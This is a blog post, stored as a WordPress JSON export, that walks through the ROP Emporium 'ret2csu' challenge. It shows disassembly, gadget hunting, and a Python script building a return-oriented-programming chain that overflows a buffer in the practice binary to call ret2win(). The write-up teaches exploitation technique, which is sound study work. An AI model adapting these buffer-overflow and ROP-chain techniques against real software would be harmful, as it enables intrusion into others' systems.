{"id":1121,"date":"2019-12-20T09:52:13","date_gmt":"2019-12-20T14:52:13","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=1121"},"modified":"2019-12-20T10:13:42","modified_gmt":"2019-12-20T15:13:42","slug":"rop-emporium-ret2csu-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-ret2csu-solution\/","title":{"rendered":"ROP Emporium | ret2csu Solution"},"content":{"rendered":"<p>We&#8217;re back in ret2win territory, but this time without the useful gadgets. How will we populate the rdx register without a pop rdx?<\/p>\n<p>The binary and challenge description can be found here:<br \/>\n<a href=\"https:\/\/ropemporium.com\/challenge\/ret2csu.html\">https:\/\/ropemporium.com\/challenge\/ret2csu.html<\/a><\/p>\n<p>While this challenge seems simple on the surface, it actually required a bit more thought than I had anticipated. Mostly due to the different goals we&#8217;re hoping to achieve than what is described in challenge description&#8217;s recommended reading material. The goal here is simple, call<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> ret2win() <\/span> with <code>0xdeadcafebabebeef<\/code> supplied as the 3rd function argument. For reference, in Linux x64 systems, we pass the first 3 function arguments in the following registers, respectively: RDI, RSI, RDX. The challenge description points you to a PDF describing the <a href=\"https:\/\/i.blackhat.com\/briefings\/asia\/2018\/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf\">return-to-csu technique from BlackHat Asia 2018<\/a>. And while this was great for getting started, especially to see where some gadgets exist that aren&#8217;t found by tools like <code>ropper<\/code>, a few extra steps were needed to complete the challenge. You&#8217;ll see what I&#8217;m talking about later.<\/p>\n<p>The binary simply asks for input:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/ret2csu $ .\/ret2csu \r\nret2csu by ROP Emporium\r\n\r\nCall ret2win()\r\nThe third argument (rdx) must be 0xdeadcafebabebeef\r\n\r\n&gt; test\r\n<\/pre>\n<p>The main hurdle here is to get a specific value into RDX without any useful gadgets that <code>ropper<\/code> can find:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/ret2csu $ ropper --file ret2csu --search &quot;pop rdx&quot;\r\n&#x5B;INFO] Load gadgets from cache\r\n&#x5B;LOAD] loading... 100%\r\n&#x5B;LOAD] removing double gadgets... 100%\r\n&#x5B;INFO] Searching for gadgets: pop rdx\r\n\r\nandrew ~\/ret2csu $ ropper --file ret2csu --search &quot;mov rdx&quot;\r\n&#x5B;INFO] Load gadgets from cache\r\n&#x5B;LOAD] loading... 100%\r\n&#x5B;LOAD] removing double gadgets... 100%\r\n&#x5B;INFO] Searching for gadgets: mov rdx\r\n<\/pre>\n<p>The &#8220;return-to-csu&#8221; paper linked to by the challenge description tells us where to start. With the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> __libc_csu_init() <\/span>function. This function comes as &#8220;attached code&#8221; that is conveniently not randomized when ASLR is enabled. Let&#8217;s take a look at the disassembly in radare2:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/ret2csu_r2_disass.png\" alt=\"\" width=\"825\" height=\"693\" class=\"alignnone size-full wp-image-1127\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/ret2csu_r2_disass.png 825w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/ret2csu_r2_disass-300x252.png 300w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/ret2csu_r2_disass-768x645.png 768w\" sizes=\"auto, (max-width: 825px) 100vw, 825px\" \/><\/p>\n<p>Now, one thing that tripped me up for a while here is that radare2 is not displaying all of the instructions. Do you see the two dots in the left margin? There&#8217;s supposed to be a few instructions indicating a loop here. Let&#8217;s take a look at the same function in GDB:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/ret2csu_gdb_disass.png\" alt=\"\" width=\"605\" height=\"595\" class=\"alignnone size-full wp-image-1128\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/ret2csu_gdb_disass.png 605w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/ret2csu_gdb_disass-300x295.png 300w\" sizes=\"auto, (max-width: 605px) 100vw, 605px\" \/><\/p>\n<p>For some reason, radare2 is not displaying the following instructions:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n   0x000000000040088d &lt;+77&gt;:    add    rbx,0x1\r\n   0x0000000000400891 &lt;+81&gt;:    cmp    rbp,rbx\r\n   0x0000000000400894 &lt;+84&gt;:    jne    0x400880 &lt;__libc_csu_init+64&gt;\r\n<\/pre>\n<p>I&#8217;ve submitted an <a href=\"https:\/\/github.com\/radareorg\/radare2\/issues\/15682\">issue on Github<\/a> for this. Because of that, I&#8217;ll be using GDB&#8217;s disassembly as these will be important later on. For now, let&#8217;s get started with building a ROP chain. There are 2 gadgets here to consider. The first one we can use to populate a few registers:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n   0x000000000040089a &lt;+90&gt;:    pop    rbx\r\n   0x000000000040089b &lt;+91&gt;:    pop    rbp\r\n   0x000000000040089c &lt;+92&gt;:    pop    r12\r\n   0x000000000040089e &lt;+94&gt;:    pop    r13\r\n   0x00000000004008a0 &lt;+96&gt;:    pop    r14\r\n   0x00000000004008a2 &lt;+98&gt;:    pop    r15\r\n   0x00000000004008a4 &lt;+100&gt;:   ret\r\n<\/pre>\n<p>The second can be used to populate a few more registers and call an arbitrary function:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n   0x0000000000400880 &lt;+64&gt;:    mov    rdx,r15\r\n   0x0000000000400883 &lt;+67&gt;:    mov    rsi,r14\r\n   0x0000000000400886 &lt;+70&gt;:    mov    edi,r13d\r\n   0x0000000000400889 &lt;+73&gt;:    call   QWORD PTR &#x5B;r12+rbx*8]\r\n<\/pre>\n<p>Keep in mind that the primary goal here is to populate the RDX register with <code>0xdeadcafebabebeef<\/code>. In order to do that, we&#8217;ll need to use that <code>\"pop r15\"<\/code> instruction to get that value into R15, followed by the <code>\"mov rdx, r15\"<\/code> instruction. Then we have the <code>\"call QWORD PTR [r12+rbx*8]\"<\/code> instruction. We can put whatever address we want into R12 and set RBX to 0. So my first thought was, let&#8217;s populate RDX with the necessary value and call<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> ret2win()<\/span>. Easy, right?<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport sys\r\n\r\n# Gadgets\r\n# 1) 0x40089a: pop rbx,rbp,r12,r13,r14,r15; ret\r\n# 2) 0x400880: mov rdx,r15; mov rsi,r14; mov edi,r13d; call qword &#x5B;r12 + rbx*8]\r\n\r\np = lambda x: (x).to_bytes(8, &quot;little&quot;)\r\n\r\nbuf  = b&quot;A&quot; * 40\r\nbuf += p(0x40089a)           # Gadget 1\r\nbuf += p(0)                  # RBX\r\nbuf += p(0)                  # RBP\r\nbuf += p(0x4007b1)           # R12 (ret2win())\r\nbuf += p(0)                  # R13 &gt; RDI\r\nbuf += p(0)                  # R14 &gt; RSI\r\nbuf += p(0xdeadcafebabebeef) # R15 &gt; RDX\r\nbuf += p(0x400880)           # Gadget 2\r\n\r\nsys.stdout.buffer.write(buf)\r\n<\/pre>\n<p>Let&#8217;s give it a whirl:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/ret2csu $ .\/exploit.py | .\/ret2csu \r\nret2csu by ROP Emporium\r\n\r\nCall ret2win()\r\nThe third argument (rdx) must be 0xdeadcafebabebeef\r\n\r\n&gt; Segmentation fault (core dumped)\r\n<\/pre>\n<p>Of course it isn&#8217;t that easy. After doing some debugging and reflecting on my life choices, I realized that the <code>\"call QWORD PTR [r12+rbx*8]\"<\/code> instruction isn&#8217;t directly calling the address we put in R12. The value &#8220;r12+rbx*8&#8221; is being de-referenced. It&#8217;s calling the address that this value points to. So the first thing I try, is searching for the address of<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> ret2win() <\/span>in memory.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n&#x5B;0x004005f0]&gt; f~ret2win\r\n0x004007b1 128 sym.ret2win\r\n0x004008e1 15 str.Call_ret2win\r\n\r\n&#x5B;0x004005f0]&gt; \/v 0x4007b1\r\nSearching 3 bytes in &#x5B;0x601058-0x601080]\r\nhits: 0\r\nSearching 3 bytes in &#x5B;0x600e10-0x601058]\r\nhits: 0\r\nSearching 3 bytes in &#x5B;0x400000-0x400ac8]\r\nhits: 0\r\n\r\n&#x5B;0x004005f0]&gt; pxQ 48 @ sym..dynamic\r\n0x00600e20 0x0000000000000001 section.+1\r\n0x00600e28 0x0000000000000001 section.+1\r\n0x00600e30 0x000000000000000c section.+12\r\n0x00600e38 0x0000000000400560 section..init\r\n0x00600e40 0x000000000000000d section.+13\r\n0x00600e48 0x00000000004008b4 section..fini\r\n\r\n&#x5B;0x004005f0]&gt; \/v 0x400560\r\nSearching 4 bytes in &#x5B;0x601058-0x601080]\r\nhits: 0\r\nSearching 4 bytes in &#x5B;0x600e10-0x601058]\r\nhits: 1\r\nSearching 4 bytes in &#x5B;0x400000-0x400ac8]\r\nhits: 0\r\n0x00600e38 hit3_0 60054000\r\n<\/pre>\n<p>Of course, when a search fails, I perform another search that I know should find a match, just to make sure I&#8217;m doing it right. As you can see, the <code>.dynamic<\/code> section holds addresses to the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> _init() <\/span>and<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> _fini() <\/span>functions. This will be useful knowledge later. For now, let&#8217;s go back to the disassembly of<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> __libc_csu_init() <\/span>and focus on these instructions:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n   0x0000000000400880 &lt;+64&gt;:    mov    rdx,r15\r\n   0x0000000000400883 &lt;+67&gt;:    mov    rsi,r14\r\n   0x0000000000400886 &lt;+70&gt;:    mov    edi,r13d\r\n   0x0000000000400889 &lt;+73&gt;:    call   QWORD PTR &#x5B;r12+rbx*8]\r\n   0x000000000040088d &lt;+77&gt;:    add    rbx,0x1\r\n   0x0000000000400891 &lt;+81&gt;:    cmp    rbp,rbx\r\n   0x0000000000400894 &lt;+84&gt;:    jne    0x400880 &lt;__libc_csu_init+64&gt;\r\n   0x0000000000400896 &lt;+86&gt;:    add    rsp,0x8\r\n   0x000000000040089a &lt;+90&gt;:    pop    rbx\r\n   0x000000000040089b &lt;+91&gt;:    pop    rbp\r\n   0x000000000040089c &lt;+92&gt;:    pop    r12\r\n   0x000000000040089e &lt;+94&gt;:    pop    r13\r\n   0x00000000004008a0 &lt;+96&gt;:    pop    r14\r\n   0x00000000004008a2 &lt;+98&gt;:    pop    r15\r\n   0x00000000004008a4 &lt;+100&gt;:   ret\r\n<\/pre>\n<p>If I can make it from that first instruction to the last, I&#8217;ll be able to put whatever I want into RDX and set the next link in my ROP chain to the address of<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> ret2win()<\/span>. What&#8217;ll it take? Well, I&#8217;ll need to call a function that doesn&#8217;t modify RDX and make it past that conditional jump. The conditional jump is easy. We&#8217;ll set RBP to 1 and RBX to 0. The instructions will add 1 to RBX, then compare the two. If they&#8217;re equal, the jump is not taken. My ROP chain will also need to account for the <code>\"add rsp,0x8\"<\/code> instruction. That just means adding another 8-byte buffer value. The rest of the instructions pop values into various registers but do not modify RDX.<\/p>\n<p>Now, which function should I call? I need to make sure the function does not modify RDX, RBX, and RBP. It also needs to be a function which has its address already stored in memory somewhere. Turns out,<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> _fini() <\/span>does pretty much nothing. And if you remember from earlier, its address is stored in the <code>.dynamic<\/span> section:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n&#x5B;0x004005f0]&gt; pdf @ sym._fini\r\n            ;-- section..fini:\r\n            ;-- .fini:\r\n\u250c 9: sym._fini ();\r\n\u2502 bp: 0 (vars 0, args 0)\r\n\u2502 sp: 0 (vars 0, args 0)\r\n\u2502 rg: 0 (vars 0, args 0)\r\n\u2502           0x004008b4      sub rsp, 8\r\n\u2502           0x004008b8      add rsp, 8\r\n\u2514           0x004008bc      ret\r\n\r\n&#x5B;0x004005f0]&gt; pxQ 48 @ sym..dynamic\r\n0x00600e20 0x0000000000000001 section.+1\r\n0x00600e28 0x0000000000000001 section.+1\r\n0x00600e30 0x000000000000000c section.+12\r\n0x00600e38 0x0000000000400560 section..init\r\n0x00600e40 0x000000000000000d section.+13\r\n0x00600e48 0x00000000004008b4 section..fini\r\n<\/pre>\n<p>So the R12 register will need to be populated with the value <code>0x600e48<\/code>. Now I should have all the pieces to finish my ROP chain:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport sys\r\n\r\n# Gadgets\r\n# 1) 0x40089a: pop rbx,rbp,r12,r13,r14,r15; ret\r\n# 2) 0x400880: mov rdx,r15; mov rsi,r14; mov edi,r13d; call qword &#x5B;r12 + rbx*8]\r\n\r\np = lambda x: (x).to_bytes(8, &quot;little&quot;)\r\n\r\nbuf  = b&quot;A&quot; * 40\r\nbuf += p(0x40089a)           # Gadget 1\r\nbuf += p(0)                  # RBX\r\nbuf += p(1)                  # RBP\r\nbuf += p(0x600e48)           # R12 (pointer to _fini())\r\nbuf += p(0)                  # R13 &gt; RDI\r\nbuf += p(0)                  # R14 &gt; RSI\r\nbuf += p(0xdeadcafebabebeef) # R15 &gt; RDX\r\nbuf += p(0x400880)           # Gadget 2\r\nbuf += p(0)                  # padding for &quot;add rsp,0x8&quot; instruction\r\nbuf += p(0)                  # RBX\r\nbuf += p(0)                  # RBP\r\nbuf += p(0)                  # R12\r\nbuf += p(0)                  # R13\r\nbuf += p(0)                  # R14\r\nbuf += p(0)                  # R15\r\nbuf += p(0x4007b1)           # ret2win()\r\n\r\nsys.stdout.buffer.write(buf)\r\n<\/pre>\n<p>This time, it should work, with or without ASLR \ud83d\ude42<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/ret2csu $ cat \/proc\/sys\/kernel\/randomize_va_space\r\n2\r\n\r\nandrew ~\/ret2csu $ .\/exploit.py | .\/ret2csu \r\nret2csu by ROP Emporium\r\n\r\nCall ret2win()\r\nThe third argument (rdx) must be 0xdeadcafebabebeef\r\n\r\n&gt; ROPE{a_placeholder_32byte_flag!}\r\nSegmentation fault (core dumped)\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>We&#8217;re back in ret2win territory, but this time without the useful gadgets. How will we populate the rdx register without a pop rdx? &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-ret2csu-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">ROP Emporium | ret2csu Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1121","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1121","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=1121"}],"version-history":[{"count":17,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1121\/revisions"}],"predecessor-version":[{"id":1139,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1121\/revisions\/1139"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=1121"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=1121"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=1121"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}